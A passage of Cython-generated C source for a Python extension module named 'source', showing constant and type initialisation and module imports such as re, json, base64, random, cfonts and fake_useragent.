  __pyx_int_46 = PyInt_FromLong(46); if (unlikely(!__pyx_int_46)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_47 = PyInt_FromLong(47); if (unlikely(!__pyx_int_47)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_48 = PyInt_FromLong(48); if (unlikely(!__pyx_int_48)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_49 = PyInt_FromLong(49); if (unlikely(!__pyx_int_49)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_50 = PyInt_FromLong(50); if (unlikely(!__pyx_int_50)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_51 = PyInt_FromLong(51); if (unlikely(!__pyx_int_51)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_52 = PyInt_FromLong(52); if (unlikely(!__pyx_int_52)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_53 = PyInt_FromLong(53); if (unlikely(!__pyx_int_53)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_54 = PyInt_FromLong(54); if (unlikely(!__pyx_int_54)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_55 = PyInt_FromLong(55); if (unlikely(!__pyx_int_55)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_56 = PyInt_FromLong(56); if (unlikely(!__pyx_int_56)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_57 = PyInt_FromLong(57); if (unlikely(!__pyx_int_57)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_58 = PyInt_FromLong(58); if (unlikely(!__pyx_int_58)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_59 = PyInt_FromLong(59); if (unlikely(!__pyx_int_59)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_60 = PyInt_FromLong(60); if (unlikely(!__pyx_int_60)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_61 = PyInt_FromLong(61); if (unlikely(!__pyx_int_61)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_62 = PyInt_FromLong(62); if (unlikely(!__pyx_int_62)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_63 = PyInt_FromLong(63); if (unlikely(!__pyx_int_63)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_65 = PyInt_FromLong(65); if (unlikely(!__pyx_int_65)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_66 = PyInt_FromLong(66); if (unlikely(!__pyx_int_66)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_67 = PyInt_FromLong(67); if (unlikely(!__pyx_int_67)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_68 = PyInt_FromLong(68); if (unlikely(!__pyx_int_68)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_69 = PyInt_FromLong(69); if (unlikely(!__pyx_int_69)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_70 = PyInt_FromLong(70); if (unlikely(!__pyx_int_70)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_71 = PyInt_FromLong(71); if (unlikely(!__pyx_int_71)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_72 = PyInt_FromLong(72); if (unlikely(!__pyx_int_72)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_73 = PyInt_FromLong(73); if (unlikely(!__pyx_int_73)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_74 = PyInt_FromLong(74); if (unlikely(!__pyx_int_74)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_75 = PyInt_FromLong(75); if (unlikely(!__pyx_int_75)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_76 = PyInt_FromLong(76); if (unlikely(!__pyx_int_76)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_77 = PyInt_FromLong(77); if (unlikely(!__pyx_int_77)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_78 = PyInt_FromLong(78); if (unlikely(!__pyx_int_78)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_79 = PyInt_FromLong(79); if (unlikely(!__pyx_int_79)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_80 = PyInt_FromLong(80); if (unlikely(!__pyx_int_80)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_81 = PyInt_FromLong(81); if (unlikely(!__pyx_int_81)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_82 = PyInt_FromLong(82); if (unlikely(!__pyx_int_82)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_83 = PyInt_FromLong(83); if (unlikely(!__pyx_int_83)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_84 = PyInt_FromLong(84); if (unlikely(!__pyx_int_84)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_85 = PyInt_FromLong(85); if (unlikely(!__pyx_int_85)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_86 = PyInt_FromLong(86); if (unlikely(!__pyx_int_86)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_87 = PyInt_FromLong(87); if (unlikely(!__pyx_int_87)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_88 = PyInt_FromLong(88); if (unlikely(!__pyx_int_88)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_89 = PyInt_FromLong(89); if (unlikely(!__pyx_int_89)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_90 = PyInt_FromLong(90); if (unlikely(!__pyx_int_90)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_91 = PyInt_FromLong(91); if (unlikely(!__pyx_int_91)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_92 = PyInt_FromLong(92); if (unlikely(!__pyx_int_92)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_93 = PyInt_FromLong(93); if (unlikely(!__pyx_int_93)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_94 = PyInt_FromLong(94); if (unlikely(!__pyx_int_94)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_95 = PyInt_FromLong(95); if (unlikely(!__pyx_int_95)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_97 = PyInt_FromLong(97); if (unlikely(!__pyx_int_97)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_98 = PyInt_FromLong(98); if (unlikely(!__pyx_int_98)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_99 = PyInt_FromLong(99); if (unlikely(!__pyx_int_99)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_100 = PyInt_FromLong(100); if (unlikely(!__pyx_int_100)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_101 = PyInt_FromLong(101); if (unlikely(!__pyx_int_101)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_102 = PyInt_FromLong(102); if (unlikely(!__pyx_int_102)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_103 = PyInt_FromLong(103); if (unlikely(!__pyx_int_103)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_104 = PyInt_FromLong(104); if (unlikely(!__pyx_int_104)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_105 = PyInt_FromLong(105); if (unlikely(!__pyx_int_105)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_106 = PyInt_FromLong(106); if (unlikely(!__pyx_int_106)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_107 = PyInt_FromLong(107); if (unlikely(!__pyx_int_107)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_108 = PyInt_FromLong(108); if (unlikely(!__pyx_int_108)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_109 = PyInt_FromLong(109); if (unlikely(!__pyx_int_109)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_110 = PyInt_FromLong(110); if (unlikely(!__pyx_int_110)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_111 = PyInt_FromLong(111); if (unlikely(!__pyx_int_111)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_112 = PyInt_FromLong(112); if (unlikely(!__pyx_int_112)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_113 = PyInt_FromLong(113); if (unlikely(!__pyx_int_113)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_114 = PyInt_FromLong(114); if (unlikely(!__pyx_int_114)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_115 = PyInt_FromLong(115); if (unlikely(!__pyx_int_115)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_116 = PyInt_FromLong(116); if (unlikely(!__pyx_int_116)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_117 = PyInt_FromLong(117); if (unlikely(!__pyx_int_117)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_118 = PyInt_FromLong(118); if (unlikely(!__pyx_int_118)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_119 = PyInt_FromLong(119); if (unlikely(!__pyx_int_119)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_120 = PyInt_FromLong(120); if (unlikely(!__pyx_int_120)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_121 = PyInt_FromLong(121); if (unlikely(!__pyx_int_121)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_122 = PyInt_FromLong(122); if (unlikely(!__pyx_int_122)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_123 = PyInt_FromLong(123); if (unlikely(!__pyx_int_123)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_124 = PyInt_FromLong(124); if (unlikely(!__pyx_int_124)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_125 = PyInt_FromLong(125); if (unlikely(!__pyx_int_125)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_int_999 = PyInt_FromLong(999); if (unlikely(!__pyx_int_999)) __PYX_ERR(0, 4, __pyx_L1_error)
  return 0;
  __pyx_L1_error:;
  return -1;
}

static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/
static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/
static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/
static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/
static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/
static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/
static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/

static int __Pyx_modinit_global_init_code(void) {
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0);
  /*--- Global init code ---*/
  __Pyx_RefNannyFinishContext();
  return 0;
}

static int __Pyx_modinit_variable_export_code(void) {
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0);
  /*--- Variable export code ---*/
  __Pyx_RefNannyFinishContext();
  return 0;
}

static int __Pyx_modinit_function_export_code(void) {
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0);
  /*--- Function export code ---*/
  __Pyx_RefNannyFinishContext();
  return 0;
}

static int __Pyx_modinit_type_init_code(void) {
  __Pyx_RefNannyDeclarations
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0);
  /*--- Type init code ---*/
  if (PyType_Ready(&__pyx_type_6source___pyx_scope_struct__generate_random_code) < 0) __PYX_ERR(0, 394, __pyx_L1_error)
  #if PY_VERSION_HEX < 0x030800B1
  __pyx_type_6source___pyx_scope_struct__generate_random_code.tp_print = 0;
  #endif
  if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_type_6source___pyx_scope_struct__generate_random_code.tp_dictoffset && __pyx_type_6source___pyx_scope_struct__generate_random_code.tp_getattro == PyObject_GenericGetAttr)) {
    __pyx_type_6source___pyx_scope_struct__generate_random_code.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict;
  }
  __pyx_ptype_6source___pyx_scope_struct__generate_random_code = &__pyx_type_6source___pyx_scope_struct__generate_random_code;
  if (PyType_Ready(&__pyx_type_6source___pyx_scope_struct_1_genexpr) < 0) __PYX_ERR(0, 396, __pyx_L1_error)
  #if PY_VERSION_HEX < 0x030800B1
  __pyx_type_6source___pyx_scope_struct_1_genexpr.tp_print = 0;
  #endif
  if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_type_6source___pyx_scope_struct_1_genexpr.tp_dictoffset && __pyx_type_6source___pyx_scope_struct_1_genexpr.tp_getattro == PyObject_GenericGetAttr)) {
    __pyx_type_6source___pyx_scope_struct_1_genexpr.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict;
  }
  __pyx_ptype_6source___pyx_scope_struct_1_genexpr = &__pyx_type_6source___pyx_scope_struct_1_genexpr;
  __Pyx_RefNannyFinishContext();
  return 0;
  __pyx_L1_error:;
  __Pyx_RefNannyFinishContext();
  return -1;
}

static int __Pyx_modinit_type_import_code(void) {
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0);
  /*--- Type import code ---*/
  __Pyx_RefNannyFinishContext();
  return 0;
}

static int __Pyx_modinit_variable_import_code(void) {
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0);
  /*--- Variable import code ---*/
  __Pyx_RefNannyFinishContext();
  return 0;
}

static int __Pyx_modinit_function_import_code(void) {
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0);
  /*--- Function import code ---*/
  __Pyx_RefNannyFinishContext();
  return 0;
}


#ifndef CYTHON_NO_PYINIT_EXPORT
#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC
#elif PY_MAJOR_VERSION < 3
#ifdef __cplusplus
#define __Pyx_PyMODINIT_FUNC extern "C" void
#else
#define __Pyx_PyMODINIT_FUNC void
#endif
#else
#ifdef __cplusplus
#define __Pyx_PyMODINIT_FUNC extern "C" PyObject *
#else
#define __Pyx_PyMODINIT_FUNC PyObject *
#endif
#endif


#if PY_MAJOR_VERSION < 3
__Pyx_PyMODINIT_FUNC initsource(void) CYTHON_SMALL_CODE; /*proto*/
__Pyx_PyMODINIT_FUNC initsource(void)
#else
__Pyx_PyMODINIT_FUNC PyInit_source(void) CYTHON_SMALL_CODE; /*proto*/
__Pyx_PyMODINIT_FUNC PyInit_source(void)
#if CYTHON_PEP489_MULTI_PHASE_INIT
{
  return PyModuleDef_Init(&__pyx_moduledef);
}
static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) {
    #if PY_VERSION_HEX >= 0x030700A1
    static PY_INT64_T main_interpreter_id = -1;
    PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp);
    if (main_interpreter_id == -1) {
        main_interpreter_id = current_id;
        return (unlikely(current_id == -1)) ? -1 : 0;
    } else if (unlikely(main_interpreter_id != current_id))
    #else
    static PyInterpreterState *main_interpreter = NULL;
    PyInterpreterState *current_interpreter = PyThreadState_Get()->interp;
    if (!main_interpreter) {
        main_interpreter = current_interpreter;
    } else if (unlikely(main_interpreter != current_interpreter))
    #endif
    {
        PyErr_SetString(
            PyExc_ImportError,
            "Interpreter change detected - this module can only be loaded into one interpreter per process.");
        return -1;
    }
    return 0;
}
static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) {
    PyObject *value = PyObject_GetAttrString(spec, from_name);
    int result = 0;
    if (likely(value)) {
        if (allow_none || value != Py_None) {
            result = PyDict_SetItemString(moddict, to_name, value);
        }
        Py_DECREF(value);
    } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) {
        PyErr_Clear();
    } else {
        result = -1;
    }
    return result;
}
static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, CYTHON_UNUSED PyModuleDef *def) {
    PyObject *module = NULL, *moddict, *modname;
    if (__Pyx_check_single_interpreter())
        return NULL;
    if (__pyx_m)
        return __Pyx_NewRef(__pyx_m);
    modname = PyObject_GetAttrString(spec, "name");
    if (unlikely(!modname)) goto bad;
    module = PyModule_NewObject(modname);
    Py_DECREF(modname);
    if (unlikely(!module)) goto bad;
    moddict = PyModule_GetDict(module);
    if (unlikely(!moddict)) goto bad;
    if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad;
    if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad;
    if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad;
    if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad;
    return module;
bad:
    Py_XDECREF(module);
    return NULL;
}


static CYTHON_SMALL_CODE int __pyx_pymod_exec_source(PyObject *__pyx_pyinit_module)
#endif
#endif
{
  PyObject *__pyx_t_1 = NULL;
  PyObject *__pyx_t_2 = NULL;
  Py_ssize_t __pyx_t_3;
  Py_UCS4 __pyx_t_4;
  PyObject *__pyx_t_5 = NULL;
  PyObject *__pyx_t_6 = NULL;
  int __pyx_t_7;
  int __pyx_t_8;
  PyObject *__pyx_t_9 = NULL;
  PyObject *__pyx_t_10 = NULL;
  PyObject *(*__pyx_t_11)(PyObject *);
  int __pyx_t_12;
  PyObject *__pyx_t_13 = NULL;
  PyObject *(*__pyx_t_14)(PyObject *);
  PyObject *__pyx_t_15 = NULL;
  PyObject *__pyx_t_16 = NULL;
  PyObject *__pyx_t_17 = NULL;
  int __pyx_t_18;
  Py_ssize_t __pyx_t_19;
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannyDeclarations
  #if CYTHON_PEP489_MULTI_PHASE_INIT
  if (__pyx_m) {
    if (__pyx_m == __pyx_pyinit_module) return 0;
    PyErr_SetString(PyExc_RuntimeError, "Module \'source\' has already been imported. Re-initialisation is not supported.");
    return -1;
  }
  #elif PY_MAJOR_VERSION >= 3
  if (__pyx_m) return __Pyx_NewRef(__pyx_m);
  #endif
  #if CYTHON_REFNANNY
__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny");
if (!__Pyx_RefNanny) {
  PyErr_Clear();
  __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny");
  if (!__Pyx_RefNanny)
      Py_FatalError("failed to import \'refnanny\' module");
}
#endif
  __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_source(void)", 0);
  if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #ifdef __Pxy_PyFrame_Initialize_Offsets
  __Pxy_PyFrame_Initialize_Offsets();
  #endif
  __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 4, __pyx_L1_error)
  __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 4, __pyx_L1_error)
  #ifdef __Pyx_CyFunction_USED
  if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #endif
  #ifdef __Pyx_FusedFunction_USED
  if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #endif
  #ifdef __Pyx_Coroutine_USED
  if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #endif
  #ifdef __Pyx_Generator_USED
  if (__pyx_Generator_init() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #endif
  #ifdef __Pyx_AsyncGen_USED
  if (__pyx_AsyncGen_init() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #endif
  #ifdef __Pyx_StopAsyncIteration_USED
  if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #endif
  /*--- Library function declarations ---*/
  /*--- Threads initialization code ---*/
  #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS
  PyEval_InitThreads();
  #endif
  /*--- Module creation code ---*/
  #if CYTHON_PEP489_MULTI_PHASE_INIT
  __pyx_m = __pyx_pyinit_module;
  Py_INCREF(__pyx_m);
  #else
  #if PY_MAJOR_VERSION < 3
  __pyx_m = Py_InitModule4("source", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m);
  #else
  __pyx_m = PyModule_Create(&__pyx_moduledef);
  #endif
  if (unlikely(!__pyx_m)) __PYX_ERR(0, 4, __pyx_L1_error)
  #endif
  __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 4, __pyx_L1_error)
  Py_INCREF(__pyx_d);
  __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 4, __pyx_L1_error)
  Py_INCREF(__pyx_b);
  __pyx_cython_runtime = PyImport_AddModule((char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 4, __pyx_L1_error)
  Py_INCREF(__pyx_cython_runtime);
  if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  /*--- Initialize various global constants etc. ---*/
  if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT)
  if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #endif
  if (__pyx_module_is_main_source) {
    if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  }
  #if PY_MAJOR_VERSION >= 3
  {
    PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 4, __pyx_L1_error)
    if (!PyDict_GetItemString(modules, "source")) {
      if (unlikely(PyDict_SetItemString(modules, "source", __pyx_m) < 0)) __PYX_ERR(0, 4, __pyx_L1_error)
    }
  }
  #endif
  /*--- Builtin init code ---*/
  if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  /*--- Constants init code ---*/
  if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  /*--- Global type/function init code ---*/
  (void)__Pyx_modinit_global_init_code();
  (void)__Pyx_modinit_variable_export_code();
  (void)__Pyx_modinit_function_export_code();
  if (unlikely(__Pyx_modinit_type_init_code() < 0)) __PYX_ERR(0, 4, __pyx_L1_error)
  (void)__Pyx_modinit_type_import_code();
  (void)__Pyx_modinit_variable_import_code();
  (void)__Pyx_modinit_function_import_code();
  /*--- Execution code ---*/
  #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED)
  if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 4, __pyx_L1_error)
  #endif

  
  __pyx_t_1 = __Pyx_Import(__pyx_n_s_re, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 5, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_re, __pyx_t_1) < 0) __PYX_ERR(0, 5, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

  
  __pyx_t_1 = __Pyx_Import(__pyx_n_s_json, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 6, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_json, __pyx_t_1) < 0) __PYX_ERR(0, 6, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

  
  __pyx_t_1 = __Pyx_Import(__pyx_n_s_base64, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 7, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_base64, __pyx_t_1) < 0) __PYX_ERR(0, 7, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

  
  __pyx_t_1 = __Pyx_Import(__pyx_n_s_user_agent, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_user_agent, __pyx_t_1) < 0) __PYX_ERR(0, 8, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

  
  __pyx_t_1 = __Pyx_Import(__pyx_n_s_webbrowser, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_webbrowser, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

  
  __pyx_t_1 = __Pyx_Import(__pyx_n_s_string, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 10, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_string, __pyx_t_1) < 0) __PYX_ERR(0, 10, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

  
  __pyx_t_1 = __Pyx_Import(__pyx_n_s_time, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 11, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_time, __pyx_t_1) < 0) __PYX_ERR(0, 11, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

  
  __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 12, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_INCREF(__pyx_n_s_render);
  __Pyx_GIVEREF(__pyx_n_s_render);
  PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_render);
  __pyx_t_2 = __Pyx_Import(__pyx_n_s_cfonts, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_render); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 12, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_render, __pyx_t_1) < 0) __PYX_ERR(0, 12, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = __Pyx_Import(__pyx_n_s_sys, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_sys, __pyx_t_2) < 0) __PYX_ERR(0, 13, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = __Pyx_Import(__pyx_n_s_random, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_random, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

  
  __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_2);
  __Pyx_INCREF(__pyx_n_s_UserAgent);
  __Pyx_GIVEREF(__pyx_n_s_UserAgent);
  PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_UserAgent);
  __pyx_t_1 = __Pyx_Import(__pyx_n_s_fake_useragent, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
